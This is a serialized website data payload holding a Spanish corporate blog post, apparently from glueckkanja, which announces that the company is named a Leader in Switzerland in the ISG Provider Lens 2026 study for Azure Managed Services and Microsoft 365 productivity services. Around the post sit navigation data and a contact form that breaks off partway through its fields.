[{"data":1,"prerenderedAt":9014},["ShallowReactive",2],{"global-header":3,"global-footer":762,"post-es--posts-2026-07-31-isg-switzerland-2026-d84d218e1a92e":800,"authors_data":1038,"content-es-list-a91ba9a39090a":1383},{"lang":4,"home":5,"navigation":21,"meta":747,"contact":755},"de",{"folderSwitch":6,"name":9,"imgLight":10,"img":11,"languages":12},[7,8],"authors","blog","home","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"de":13,"en":17,"es":19},{"title":14,"url":15,"alias":15,"alt":16},"Home","/de","glueckkanja Logo",{"title":14,"url":18,"alt":16},"/en",{"title":14,"url":20,"alt":16},"/es",[22,195,369,496,601,614],{"name":23,"languages":24,"children":32},"workplace",{"de":25,"en":28,"es":30},{"title":26,"description":27},"Workplace","Microsoft 365-Power für smarte, sichere und flexible Arbeitswelten, die modernste Technologien und Identity Lösungen verbinden.",{"title":26,"description":29},"Microsoft 365-powered for smart, secure, and flexible workspaces, seamlessly integrating cutting-edge technologies and identity services.",{"title":26,"description":31},"Potenciado por Microsoft 365 para espacios de trabajo inteligentes, seguros y flexibles, integrando a la perfección tecnologías de vanguardia y servicios de identidad (en ingles).",[33,81,137],{"name":34,"languages":35,"children":40},"portfolio",{"de":36,"en":38,"es":39},{"title":37},"Portfolio",{"title":37},{"title":37},[41,51,61,71],{"name":42,"languages":43},"managed-intune",{"de":44,"en":47,"es":49},{"title":45,"url":46},"Managed Intune","/de/entra-intune/managed-intune",{"title":45,"url":48},"/en/entra-intune/managed-intune",{"title":45,"url":50},"/es/entra-intune/managed-intune",{"name":52,"languages":53},"managed-entra",{"de":54,"en":57,"es":59},{"title":55,"url":56},"Managed Entra","/de/entra-intune/managed-entra",{"title":55,"url":58},"/en/entra-intune/managed-entra",{"title":55,"url":60},"/es/entra-intune/managed-entra",{"name":62,"languages":63},"managed-workplace",{"de":64,"en":67,"es":69},{"title":65,"url":66},"Managed Workplace","/de/workplace/managed-workplace",{"title":65,"url":68},"/en/workplace/managed-workplace",{"title":65,"url":70},"/es/workplace/managed-workplace",{"name":72,"languages":73},"consulting-services",{"de":74,"en":77,"es":79},{"title":75,"url":76},"Consulting Services","/de/workplace/consulting-services",{"title":75,"url":78},"/en/workplace/consulting-services",{"title":75,"url":80},"/es/workplace/consulting-services",{"name":82,"languages":83,"children":88},"microsoft-365-endpoint",{"de":84,"en":86,"es":87},{"title":85},"Microsoft 365 Endpoint",{"title":85},{"title":85},[89,99,109,119,127],{"name":90,"languages":91},"microsoft-entra-suite",{"de":92,"en":95,"es":97},{"title":93,"url":94},"Microsoft Entra Suite","/de/workplace/microsoft-entra-suite",{"title":93,"url":96},"/en/workplace/microsoft-entra-suite",{"title":93,"url":98},"/es/workplace/microsoft-entra-suite",{"name":100,"languages":101},"microsoft-intune",{"de":102,"en":105,"es":107},{"title":103,"url":104},"Microsoft Intune","/de/workplace/microsoft-intune",{"title":103,"url":106},"/en/workplace/microsoft-intune",{"title":103,"url":108},"/es/workplace/microsoft-intune",{"name":110,"languages":111},"microsoft-windows",{"de":112,"en":115,"es":117},{"title":113,"url":114},"Microsoft Windows","/de/workplace/microsoft-windows",{"title":113,"url":116},"/en/workplace/microsoft-windows",{"title":113,"url":118},"/es/workplace/microsoft-windows",{"name":120,"languages":121},"windows-365-cloud-pc",{"en":122,"es":125},{"title":123,"url":124},"Windows 365 Cloud PC","/en/workplace/windows365-cloud-pc",{"title":123,"url":126},"/es/workplace/windows365-cloud-pc",{"name":128,"languages":129},"cloud-workplace-foundation",{"de":130,"en":133,"es":135},{"title":131,"url":132},"Cloud Workplace Foundation","/de/workplace/cloud-workplace-foundation",{"title":131,"url":134},"/en/workplace/cloud-workplace-foundation",{"title":131,"url":136},"/es/workplace/cloud-workplace-foundation",{"name":138,"languages":139,"children":144},"microsoft-365-collaboration",{"de":140,"en":142,"es":143},{"title":141},"Microsoft 365 Collaboration",{"title":141},{"title":141},[145,155,165,175,185],{"name":146,"languages":147},"microsoft-copilot",{"de":148,"en":151,"es":153},{"title":149,"url":150},"Microsoft 365 Copilot","/de/workplace/microsoft-365-copilot",{"title":149,"url":152},"/en/workplace/microsoft-365-copilot",{"title":149,"url":154},"/es/workplace/microsoft-365-copilot",{"name":156,"languages":157},"microsoft-teams",{"de":158,"en":161,"es":163},{"title":159,"url":160},"Teams","/de/workplace/microsoft-teams",{"title":159,"url":162},"/en/workplace/microsoft-teams",{"title":159,"url":164},"/es/workplace/microsoft-teams",{"name":166,"languages":167},"sharepoint-powerplatform",{"de":168,"en":171,"es":173},{"title":169,"url":170},"SharePoint & Power Platform","/de/workplace/sharepoint-power-platform",{"title":169,"url":172},"/en/workplace/sharepoint-power-platform",{"title":169,"url":174},"/es/workplace/sharepoint-power-platform",{"name":176,"languages":177},"exchange-online",{"de":178,"en":181,"es":183},{"title":179,"url":180},"Exchange Online","/de/workplace/exchange-online",{"title":179,"url":182},"/en/workplace/exchange-online",{"title":179,"url":184},"/es/workplace/exchange-online",{"name":186,"languages":187},"information-protection-compliance",{"de":188,"en":191,"es":193},{"title":189,"url":190},"Information Protection & Compliance","/de/workplace/information-protection-compliance",{"title":189,"url":192},"/en/workplace/information-protection-compliance",{"title":189,"url":194},"/es/workplace/information-protection-compliance",{"name":196,"languages":197,"children":205},"azure",{"de":198,"en":201,"es":203},{"title":199,"description":200},"Azure","Mit Azure Wachstum beflügeln: Cloud-Kosten senken, Effizienz steigern und Innovationen durch IaaS und PaaS vorantreiben.",{"title":199,"description":202},"Fuel growth with Azure: Cut cloud costs, boost efficiency, and drive innovation through IaaS and PaaS.",{"title":199,"description":204},"Impulse el crecimiento con Azure: Reduzca los costes de la nube, aumente la eficiencia e impulse la innovación a través de IaaS y PaaS (en ingles).",[206,233,307],{"name":207,"languages":208,"children":212},"azure-portfolio",{"de":209,"en":210,"es":211},{"title":37},{"title":37},{"title":37},[213,223],{"name":214,"languages":215},"azure-managed-services",{"de":216,"en":219,"es":221},{"title":217,"url":218},"Azure Managed Services","/de/azure/azure-managed-services",{"title":217,"url":220},"/en/azure/azure-managed-services",{"title":217,"url":222},"/es/azure/azure-managed-services",{"name":224,"languages":225},"azure-consulting",{"de":226,"en":229,"es":231},{"title":227,"url":228},"Azure Consulting","/de/azure/azure-consulting",{"title":227,"url":230},"/en/azure/azure-consulting",{"title":227,"url":232},"/es/azure/azure-consulting",{"name":234,"languages":235,"children":241},"azure-scenarios",{"de":236,"en":238,"es":240},{"title":237},"Szenarios",{"title":239},"Scenarios",{"title":239},[242,253,264,275,287,297],{"name":243,"languages":244},"plan-your-cloud",{"de":245,"en":248,"es":251},{"title":246,"url":247},"Planen Sie Ihre Cloud","/de/azure/plan-your-cloud",{"title":249,"url":250},"Plan your Cloud","/en/azure/plan-your-cloud",{"title":249,"url":252},"/es/azure/plan-your-cloud",{"name":254,"languages":255},"migrate-to-the-cloud",{"de":256,"en":259,"es":262},{"title":257,"url":258},"Migriere deine Cloud","/de/azure/migrate-to-the-cloud",{"title":260,"url":261},"Migrate to the cloud","/en/azure/migrate-to-the-cloud",{"title":260,"url":263},"/es/azure/migrate-to-the-cloud",{"name":265,"languages":266},"innovate-your-business",{"de":267,"en":270,"es":273},{"title":268,"url":269},"Erneuere dein Business","/de/azure/innovate-your-business",{"title":271,"url":272},"Innovate your business","/en/azure/innovate-your-business",{"title":271,"url":274},"/es/azure/innovate-your-business",{"name":276,"languages":277},"vmware-exit",{"de":278,"en":281,"es":284},{"title":279,"url":280},"Überdenke deine VMware-Strategie","/de/azure/vmware-exit",{"title":282,"url":283},"Rethink your VMware strategy","/en/azure/vmware-exit",{"title":285,"url":286},"Replantea tu estrategia de VMware","/es/azure/vmware-exit",{"name":288,"languages":289},"azure-cloud-adoption-framework",{"de":290,"en":293,"es":295},{"title":291,"url":292},"Cloud Adoption Framework","/de/azure/cloud-adoption-framework",{"title":291,"url":294},"/en/azure/cloud-adoption-framework",{"title":291,"url":296},"/es/azure/cloud-adoption-framework",{"name":298,"languages":299},"azure-cloud-competence-center",{"de":300,"en":303,"es":305},{"title":301,"url":302},"Cloud Competence Center","/de/azure/cloud-competence-center",{"title":301,"url":304},"/en/azure/cloud-competence-center",{"title":301,"url":306},"/es/azure/cloud-competence-center",{"name":308,"languages":309,"children":314},"azure-practices",{"de":310,"en":312,"es":313},{"title":311},"Practices",{"title":311},{"title":311},[315,325,335,345,354,359],{"name":316,"languages":317},"azure-foundation",{"de":318,"en":321,"es":323},{"title":319,"url":320},"Azure Foundation","/de/azure/azure-foundation",{"title":319,"url":322},"/en/azure/azure-foundation",{"title":319,"url":324},"/es/azure/azure-foundation",{"name":326,"languages":327},"azure-ai-foundation",{"de":328,"en":331,"es":333},{"title":329,"url":330},"Azure AI Foundation","/de/azure/azure-ai-foundation",{"title":329,"url":332},"/en/azure/azure-ai-foundation",{"title":329,"url":334},"/es/azure/azure-ai-foundation",{"name":336,"languages":337},"azure-data-foundation",{"de":338,"en":341,"es":343},{"title":339,"url":340},"Azure Data Foundation","/de/azure/azure-data-foundation",{"title":339,"url":342},"/en/azure/azure-data-foundation",{"title":339,"url":344},"/es/azure/azure-data-foundation",{"name":316,"languages":346},{"de":347,"en":350,"es":352},{"title":348,"url":349},"Azure Container Foundation","/de/azure/azure-container-foundation",{"title":348,"url":351},"/en/azure/azure-container-foundation",{"title":348,"url":353},"/es/azure/azure-container-foundation",{"name":128,"languages":355},{"de":356,"en":357,"es":358},{"title":131,"url":132},{"title":131,"url":134},{"title":131,"url":136},{"name":360,"languages":361},"dark-tenant",{"de":362,"en":365,"es":367},{"title":363,"url":364},"Managed Dark Tenant","/de/azure/managed-dark-tenant",{"title":363,"url":366},"/en/azure/managed-dark-tenant",{"title":363,"url":368},"/es/azure/managed-dark-tenant",{"name":370,"languages":371,"children":388},"security",{"de":372,"en":380,"es":384},{"title":373,"description":374,"emergency":375},"Security","Wachsamkeit in der Cloud mit einem preisgekrönten 24/7 Managed Service, Incident Response und modernstem Schutz für Ihre Infrastruktur.",{"text":376,"href":377,"skin":378,"icon":379},"Under Attack?","/de/security/are-you-under-attack","primary","emergency",{"title":373,"description":381,"emergency":382},"Vigilance in the cloud with an award-winning 24/7 managed service, incident response and state-of-the-art protection for your infrastructure.",{"text":376,"href":383,"skin":378,"icon":379},"/en/security/are-you-under-attack",{"title":373,"description":385,"emergency":386},"Vigilancia en la nube con un galardonado servicio gestionado 24/7, respuesta ante incidentes y protección de vanguardia para su infraestructura (en ingles).",{"text":376,"href":387,"skin":378,"icon":379},"/es/security/are-you-under-attack",[389,418,451],{"name":390,"children":391},"security-security-consulting",[392,402,408],{"name":393,"languages":394},"managed-red-tenant",{"de":395,"en":398,"es":400},{"title":396,"url":397},"Managed Red Tenant","/de/security/managed-red-tenant",{"title":396,"url":399},"/en/security/managed-red-tenant",{"title":396,"url":401},"/es/security/managed-red-tenant",{"name":360,"languages":403},{"de":404,"en":406,"es":407},{"title":405,"url":364},"Dark Tenant",{"title":405,"url":366},{"title":405,"url":368},{"name":409,"languages":410},"security-consulting",{"de":411,"en":414,"es":416},{"title":412,"url":413},"Security Consulting","/de/security/security-consulting",{"title":412,"url":415},"/en/security/security-consulting",{"title":412,"url":417},"/es/security/security-consulting",{"name":419,"children":420},"security-cloud-security-operations-center",[421,431,441],{"name":422,"languages":423},"cloud-security-operations-center",{"de":424,"en":427,"es":429},{"title":425,"url":426},"Cloud Security Operations Center","/de/security/cloud-security-operations-center",{"title":425,"url":428},"/en/security/cloud-security-operations-center",{"title":425,"url":430},"/es/security/cloud-security-operations-center",{"name":432,"languages":433},"global-secure-access",{"de":434,"en":437,"es":439},{"title":435,"url":436},"Global Secure Access","/de/security/global-secure-access",{"title":435,"url":438},"/en/security/global-secure-access",{"title":435,"url":440},"/es/security/global-secure-access",{"name":442,"languages":443},"my-work-id",{"de":444,"en":447,"es":449},{"title":445,"url":446},"MyWorkID","/de/security/my-work-id",{"title":445,"url":448},"/en/security/my-work-id",{"title":445,"url":450},"/es/security/my-work-id",{"name":452,"children":453},"security-preventive-services",[454,464,474,484],{"name":455,"languages":456},"preventive-services",{"de":457,"en":460,"es":462},{"title":458,"url":459},"Preventive Services","/de/security/preventive-services",{"title":458,"url":461},"/en/security/preventive-services",{"title":458,"url":463},"/es/security/preventive-services",{"name":465,"languages":466},"data-security-services",{"de":467,"en":470,"es":472},{"title":468,"url":469},"Data Security Service","/de/security/data-security-service",{"title":468,"url":471},"/en/security/data-security-service",{"title":468,"url":473},"/es/security/data-security-service",{"name":475,"languages":476},"security-copilot-agents",{"de":477,"en":480,"es":482},{"title":478,"url":479},"Security Copilot Agents","/de/security/security-copilot-agents",{"title":478,"url":481},"/en/security/security-copilot-agents",{"title":478,"url":483},"/es/security/security-copilot-agents",{"name":485,"languages":486},"nis2",{"de":487,"en":490,"es":493},{"title":488,"url":489},"NIS2 technisch umsetzen","/de/security/red-dark-tenant-nis2",{"title":491,"url":492},"Implementing NIS2","/en/security/red-dark-tenant-nis2",{"title":494,"url":495},"Implementación técnica de NIS2","/es/security/red-dark-tenant-nis2",{"name":497,"languages":498,"children":508},"products",{"de":499,"en":502,"es":505},{"title":500,"description":501},"Produkte","Innovative Companion-Produkte für eine vollständig sichere, 100% cloud-native Microsoft-Umgebung, die Zusammenarbeit, Netzwerkauthentifizierung und Softwareverwaltung verbessern.",{"title":503,"description":504},"Products","Innovative companion products for a completely secure, 100% cloud-native Microsoft environment that enhance collaboration, network authentication and software management.",{"title":506,"description":507},"Productos","Innovadores productos complementarios para un entorno Microsoft completamente seguro y 100% nativo de la nube que mejoran la colaboración, la autenticación en red y la gestión del software (en ingles).",[509,562],{"name":510,"products":511,"children":512},"lorem ipsum 1",true,[513,526,538,550],{"name":514,"img":515,"target":516,"languages":517},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"de":518,"en":522,"es":524},{"title":519,"subtitle":520,"url":521},"RealmJoin","Cloudbasierte Softwareverteilung","https://www.realmjoin.com",{"title":519,"subtitle":523,"url":521},"Cloudbased Software distribution",{"title":519,"subtitle":525,"url":521},"Distribución de software en la nube",{"name":527,"img":528,"target":516,"languages":529},"scepman","products/scepman/scepman-nav-logo.svg",{"de":530,"en":534,"es":536},{"title":531,"subtitle":532,"url":533},"SCEPman","Zertifikatsverteilung aus der Cloud","https://www.scepman.com",{"title":531,"subtitle":535,"url":533},"Certificate distribution from the cloud",{"title":531,"subtitle":537,"url":533},"Distribución de certificados desde la nube",{"name":539,"img":540,"target":516,"languages":541},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"de":542,"en":546,"es":548},{"title":543,"subtitle":544,"url":545},"KONNEKT","Arbeiten Sie lokal mit Ihren Office 365-Daten","https://www.konnekt.io",{"title":543,"subtitle":547,"url":545},"Work with your local office 365 data",{"title":543,"subtitle":549,"url":545},"Trabaje con sus datos locales de office 365",{"name":551,"img":552,"target":516,"languages":553},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"de":554,"en":558,"es":560},{"title":555,"subtitle":556,"url":557},"RealMigrator","Migrieren Sie alle Ihre Datenressourcen","https://www.realmigrator.com",{"title":555,"subtitle":559,"url":557},"Migrate your data from one server to another",{"title":555,"subtitle":561,"url":557},"Migre sus datos de un servidor a otro",{"name":563,"products":511,"children":564},"lorem ipsum 2",[565,577,589],{"name":566,"img":567,"target":516,"languages":568},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"de":569,"en":573,"es":575},{"title":570,"subtitle":571,"url":572},"TerraProvider","Terraform Provider für Microsoft 365","https://www.terraprovider.com",{"title":570,"subtitle":574,"url":572},"Terraform Provider for Microsoft 365",{"title":570,"subtitle":576,"url":572},"Terraform Provider para Microsoft 365",{"name":578,"img":579,"target":516,"languages":580},"radiusaas","products/radius/radius-nav-logo.svg",{"de":581,"en":585,"es":587},{"title":582,"subtitle":583,"url":584},"RADIUSaaS","Authentifizierung für Ihr Netzwerk","https://www.radius-as-a-service.com",{"title":582,"subtitle":586,"url":584},"Authentication for your network",{"title":582,"subtitle":588,"url":584},"Autenticación para su red",{"name":590,"img":591,"target":516,"languages":592},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"de":593,"en":597,"es":599},{"title":594,"subtitle":595,"url":596},"Unified Contacts","Finden Sie alle Ihre Kontakte in Microsoft Teams","https://www.unified-contacts.com",{"title":594,"subtitle":598,"url":596},"Find contacts in Microsoft Teams",{"title":594,"subtitle":600,"url":596},"Buscar contactos en Microsoft Teams",{"name":602,"languages":603},"casestudies",{"de":604,"en":608,"es":611},{"title":605,"description":606,"url":607},"Case Studies","Pionier in der Cloud: Ihr Top-Microsoft-Partner für umfassende Cloud-Lösungen mit einem Blueprint-basierten Ansatz und Infrastructure-as-Code-Expertise.","/de/casestudies",{"title":605,"description":609,"url":610},"Pioneer in the Cloud: Your top Microsoft partner for comprehensive cloud solutions with a Blueprint-based approach and Infrastructure-as-Code expertise.","/en/casestudies",{"title":605,"description":612,"url":613},"Pionero en la Cloud: Su principal socio de Microsoft para soluciones integrales en la nube con un enfoque basado en Blueprint y experiencia en infraestructura como código (en ingles).","/es/casestudies",{"name":615,"languages":616,"children":623},"company",{"de":617,"en":619,"es":621},{"title":618,"description":606},"Unternehmen",{"title":620,"description":609},"Company",{"title":622,"description":612},"Empresa",[624,680,717],{"name":625,"languages":626,"children":633},"company-about-us",{"de":627,"en":629,"es":631},{"title":628},"Über Uns",{"title":630},"About us",{"title":632},"Acerca de nosotros",[634,645,657,669],{"name":635,"languages":636},"company-facts-figures",{"de":637,"en":640,"es":642},{"title":638,"url":639},"Facts & Figures","/de/company/facts-and-figures",{"title":638,"url":641},"/en/company/facts-and-figures",{"title":643,"url":644},"Datos y cifras","/es/company/facts-and-figures",{"name":646,"languages":647},"company-contact",{"de":648,"en":651,"es":654},{"title":649,"url":650},"Kontakt & Standorte","/de/company/contact-and-locations",{"title":652,"url":653},"Contact & Locations","/en/company/contact-and-locations",{"title":655,"url":656},"Contacto y ubicaciones","/es/company/contact-and-locations",{"name":658,"languages":659},"switzerland",{"de":660,"en":663,"es":666},{"title":661,"url":662},"glueckkanja Schweiz","/de/company/switzerland",{"title":664,"url":665}," glueckkanja Switzerland","/en/company/switzerland",{"title":667,"url":668},"glueckkanja Suiza","/es/company/switzerland",{"name":670,"languages":671},"austria",{"de":672,"en":675,"es":678},{"title":673,"url":674},"glueckkanja Österreich","/de/company/austria",{"title":676,"url":677},"glueckkanja Austria","/en/company/austria",{"title":676,"url":679},"/es/company/austria",{"name":681,"languages":682,"children":689},"company-career",{"de":683,"en":685,"es":687},{"title":684},"Karriere",{"title":686},"Career",{"title":688},"Carreras",[690,702,708],{"name":691,"languages":692},"company-career-overview",{"de":693,"en":696,"es":699},{"title":694,"url":695},"Karriere Übersicht","/de/career",{"title":697,"url":698},"Career overview","/en/career",{"title":700,"url":701},"Carrera general","/es/career",{"name":703,"languages":704},"company-young-professionals",{"de":705},{"title":706,"url":707},"Young Professionals","/de/young-professionals",{"name":709,"languages":710},"company-jobs",{"de":711,"en":714},{"title":712,"url":713},"Stellenanzeigen","/de/job-offers",{"title":715,"url":716},"Job offers","/en/job-offers",{"name":718,"languages":719,"children":726},"company-latest",{"de":720,"en":722,"es":724},{"title":721},"Aktuelles",{"title":723},"Latest",{"title":725},"Últimas novedades",[727,737],{"name":728,"languages":729},"company-blog",{"de":730,"en":733,"es":735},{"title":731,"url":732},"Blog","/de/blog",{"title":731,"url":734},"/en/blog",{"title":731,"url":736},"/es/blog",{"name":728,"languages":738},{"de":739,"en":742,"es":744},{"title":740,"url":741},"Events","/de/events",{"title":740,"url":743},"/en/events",{"title":745,"url":746},"Eventos","/es/events",[748],{"name":749,"languages":750},"career-meta",{"de":751,"en":753,"es":754},{"title":684,"url":695,"active":752},false,{"title":686,"url":698,"active":752},{"title":686,"url":701,"active":752},{"languages":756},{"de":757,"en":759,"es":761},{"title":758,"url":650,"active":752},"Kontakt",{"title":760,"url":653,"active":752},"Contact",{"title":760,"url":656,"active":752},{"data":763},{"bgColor":764,"number":765,"mail":766,"brandLogos":767,"logos":768,"links":772,"linksEn":782,"linksEs":791},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[769],{"img":10,"alt":16,"url":770,"class":771},"index.html","max-w-19rem",[773,776,779],{"title":774,"url":775},"Datenschutz","/de/privacy",{"title":777,"url":778},"Impressum","/de/imprint",{"title":780,"url":781},"No Cookies","/de/cookies",[783,786,789],{"title":784,"url":785},"Privacy","/en/privacy",{"title":787,"url":788},"Imprint","/en/imprint",{"title":780,"url":790},"/en/cookies",[792,794,797],{"title":793,"url":785},"Privacidad",{"title":795,"url":796},"Imprimir","/es/imprint",{"title":798,"url":799},"Sin Cookies","/es/cookies",{"id":801,"title":802,"author":803,"body":805,"cta":767,"description":936,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":939,"moment":943,"navigation":511,"path":1031,"seo":1032,"stem":1033,"tags":1034,"webcast":752,"__hash__":1037},"content_es/posts/2026-07-31-isg-switzerland-2026.md","De Rising Star a Leader. glueckkanja en el estudio de ISG Suiza 2026",[804],"Carolin Kanja",{"type":806,"value":807,"toc":926},"minimal",[808,818,823,826,829,833,835,842,845,852,858,862,864,870,873,878,891,923],[809,810,811,812,817],"p",{},"En 2024 fundamos glueckkanja Switzerland AG y abrimos una oficina en el zentroom, Bahnhofplatz 10b, en Berna. En 2025, ISG nos nombró ",[813,814,816],"a",{"href":815},"/es/posts/2025-05-08-isg-switzerland-2025","Rising Star en el mercado suizo",", el proveedor al que sus analistas veían dando el salto al cuadrante de Leaders. Ahora ese salto está documentado: el estudio ISG Provider Lens® 2026 nos posiciona como Leader en Suiza en el cuadrante Microsoft AI and Cloud Ecosystem, en las áreas de Azure Managed Services y Microsoft Productivity and Business Process Services.",[819,820,822],"h2",{"id":821},"el-estudio","El estudio",[809,824,825],{},"{: .h3-font-size}",[809,827,828],{},"Con la serie Provider Lens®, ISG evalúa cada año qué proveedores de servicios son competitivos en un mercado nacional. Los proveedores se posicionan por cuadrante según el atractivo de su portfolio y su fuerza competitiva, de Contender a Leader. Para Suiza, en 2026 ISG analizó el mercado en torno al ecosistema de Microsoft bajo el título Microsoft AI and Cloud Ecosystem: 35 proveedores, posicionados en los tres cuadrantes Microsoft Productivity and Business Process Services, Azure Data Transformation and AI Services y Azure Managed Services. El autor principal es Axel Oppermann, y su valoración del mercado no deja dudas: en el mercado suizo, la residencia de datos, la soberanía y una operación de IA controlable deciden quién gana los contratos, no el tamaño de la plataforma.",[819,830,832],{"id":831},"leader-en-azure-managed-services","Leader en Azure Managed Services",[809,834,825],{},[809,836,837],{},[838,839],"img",{"alt":840,"src":841},"Cuadrante ISG Provider Lens Azure Managed Services Suiza 2026: glueckkanja en el cuadrante de Leaders","https://res.cloudinary.com/c4a8/image/upload/blog/pics/isg-azure-managed-services-leader-ch.png",[809,843,844],{},"Hace un año, los analistas todavía nos veían aquí como Rising Star. Ahora estamos en el cuadrante de Leaders. 25 proveedores se calificaron para este cuadrante, once de los cuales ISG clasifica como Leaders.",[809,846,847,851],{},[848,849,850],"em",{},"\"glueckkanja escribe las operaciones de Azure en código: GitOps, drift control y estándares de seguridad mantienen gobernables los entornos híbridos de cloud, workplace e IA incluso con un alto grado de automatización.\""," (Axel Oppermann, Lead Analyst, ISG)",[809,853,854,855,857],{},"El razonamiento del informe coincide con nuestro modelo operativo. Para nosotros, operar Azure no es una tarea administrativa, sino una arquitectura de control escrita en código: las landing zones, las configuraciones de tenant y las políticas siguen principios de GitOps e infraestructura como código, y la detección de drift identifica desviaciones antes de que lleguen sin control al entorno productivo. Con el ",[813,856,396],{"href":401}," separamos por completo las rutas administrativas privilegiadas del tenant productivo, lo que reduce el impacto de identidades comprometidas, especialmente para proveedores de energía y entornos regulados. Y como los agentes, la automatización y los procesos de IA reciben identidades propias, las identidades no humanas se mantienen bajo control mediante reglas de gobernanza y estándares de seguridad.",[819,859,861],{"id":860},"leader-en-microsoft-productivity-and-business-process-services","Leader en Microsoft Productivity and Business Process Services",[809,863,825],{},[809,865,866],{},[838,867],{"alt":868,"src":869},"Cuadrante ISG Provider Lens Microsoft Productivity and Business Process Services Suiza 2026: glueckkanja en el cuadrante de Leaders","https://res.cloudinary.com/c4a8/image/upload/blog/pics/isg-msft-productivity-and-business-process-services-leader-ch.png",[809,871,872],{},"ISG también nos posiciona como Leader en la segunda área, que cubre el trabajo en torno a Microsoft 365 y la modernización de procesos de negocio. De los 26 proveedores calificados, nueve están aquí en el cuadrante de Leaders.",[809,874,875,851],{},[848,876,877],{},"\"glueckkanja opera Microsoft 365, Copilot y Power Platform con modelos de GitOps e identidad basados en código y hace transparentes los escenarios de workplace basados en agentes para clientes suizos regulados mediante flujos de trabajo repetibles de operación, seguridad y compliance.\"",[809,879,880,881,883,884,886,887,890],{},"El informe destaca tres fortalezas. Operamos Microsoft 365, Entra ID e Intune desde el repositorio, con GitOps, infraestructura como código y blueprints en lugar de estructuras mantenidas manualmente. Tratamos la identidad como perímetro de seguridad: ",[813,882,45],{"href":50},", ",[813,885,55],{"href":60}," y el Managed Red Tenant integran los accesos privilegiados, la conexión a nuestro ",[813,888,889],{"href":430},"Managed SOC"," y las estructuras de colaboración en modelos operativos estandarizados. Y en los escenarios basados en agentes, ISG nos cuenta entre los primeros proveedores de Agent Identity y modelos de ciclo de vida centrados en agentes dentro del ecosistema Microsoft: los escenarios de Copilot, agentes y Power Platform siguen rutas de roles y aprobaciones basadas en código, no dinámicas departamentales sin control.",[892,893,895,896,895,904,895,908],"blockquote",{"style":894},"border-left: none; background-color: var(--color-gk-violet); color: var(--color-gk-white); padding: 2.5rem 2rem; margin: 2rem 0;","\n  ",[897,898,903],"h3",{"className":899,"style":901,"id":902},[900],"h4-font-size","color: var(--color-gk-white);","el-equipo-detrás-del-reconocimiento","El equipo detrás del reconocimiento",[809,905,907],{"style":906},"font-size: inherit;","Desde Berna operamos servicios de Microsoft para empresas suizas, con los mismos estándares que en todas nuestras sedes.",[813,909,918],{"role":910,"className":911,"dataText":916,"href":668,"type":917},"button",[912,913,914,915],"cta","btn","btn-primary","vue-component","glueckkanja en Suiza","Button",[919,920,916],"span",{"className":921},[922],"cta__text",[809,924,925],{},"Dos años desde la fundación hasta el cuadrante de Leaders: por eso decimos Merci vielmals, a nuestros clientes suizos y al equipo de Berna. Si queréis profundizar en los resultados, el formulario de abajo os lleva al resumen completo de ISG.",{"title":927,"searchDepth":928,"depth":928,"links":929},"",2,[930,931,932],{"id":821,"depth":928,"text":822},{"id":831,"depth":928,"text":832},{"id":860,"depth":928,"text":861,"children":933},[934],{"id":902,"depth":935,"text":903},3,"En 2024 fundamos glueckkanja Switzerland AG y abrimos una oficina en el zentroom, Bahnhofplatz 10b, en Berna. En 2025, ISG nos nombró Rising Star en el mercado suizo, el proveedor al que sus analistas veían dando el salto al cuadrante de Leaders. Ahora ese salto está documentado: el estudio ISG Provider Lens® 2026 nos posiciona como Leader en Suiza en el cuadrante Microsoft AI and Cloud Ecosystem, en las áreas de Azure Managed Services y Microsoft Productivity and Business Process Services.","md","post",{"lang":940,"seoTitle":941,"titleClass":942,"date":943,"categories":944,"blogtitlepic":946,"socialimg":947,"customExcerpt":948,"keywords":949,"contactInContent":950,"hreflang":1022,"published":511,"scripts":1030},"es","ISG Provider Lens 2026: glueckkanja es Leader en Suiza en el Microsoft AI and Cloud Ecosystem","h2-font-size","2026-07-31",[945],"Corporate","head-isg-ch-2026.png","/blog/heads/head-isg-ch-2026.png","El estudio ISG Provider Lens® 2026 posiciona a glueckkanja como Leader en Suiza en el cuadrante Microsoft AI and Cloud Ecosystem, en las áreas de Azure Managed Services y Microsoft Productivity and Business Process Services. Dos años después de entrar en el mercado en Berna, un año después del reconocimiento como Rising Star.","MSSP Suiza, Managed SOC Suiza, partner de Microsoft Suiza, ISG Provider Lens Suiza 2026, ISG Leader Suiza, Azure Managed Services Suiza, servicios Microsoft 365 Suiza, Microsoft AI and Cloud Ecosystem, managed services Azure Suiza, proveedor IT Suiza, servicios cloud Suiza, Microsoft cloud Suiza, glueckkanja Suiza, glueckkanja Berna",{"quote":511,"infos":951},{"bgColor":952,"color":953,"boxBgColor":764,"boxColor":953,"headline":954,"subline":955,"level":819,"textStyling":956,"flush":957,"person":958,"form":975},"var(--color-gk-dark-blue)","var(--color-gk-white)","Solicitad el estudio","¿Queréis profundizar en los resultados del estudio? Contactad con nosotros y os enviaremos el resumen completo de ISG sobre nuestros servicios en Suiza.","text-light","justify-content-end",{"image":959,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":963,"detailsHeader":964,"details":965},"/people/people-jan-geisbauer.jpg","Retrato de Jan Geisbauer, Head of Security en glueckkanja","Jan Geisbauer","Head of Security","Dos años después de abrir en Berna, estamos en el cuadrante de Leaders. Para nosotros significa que el enfoque de combinar servicios estandarizados de Microsoft con un equipo local funciona en el mercado suizo.","Esperamos\u003Cbr />vuestro contacto.",[966,971],{"text":967,"href":968,"details":969,"icon":970},"+41 31 5611900","tel:+41 31 5611900","Llamar ahora","site/phone",{"text":972,"href":973,"icon":974},"sales@glueckkanja.com","mailto:sales@glueckkanja.com","site/mail",{"ctaText":976,"cta":977,"method":938,"action":979,"fields":980},"Enviar",{"skin":978},"primary on-surface","/send",[981,985,990,993,997,1002,1007,1009,1012,1015,1018,1020],{"type":982,"id":983,"value":984},"hidden","_next","successful",{"label":986,"type":987,"id":988,"required":511,"requiredMsg":989},"Nombre*","text","name","Por favor, introducid vuestro nombre.",{"label":991,"type":987,"id":615,"required":511,"requiredMsg":992},"Empresa*","Por favor, introducid vuestra 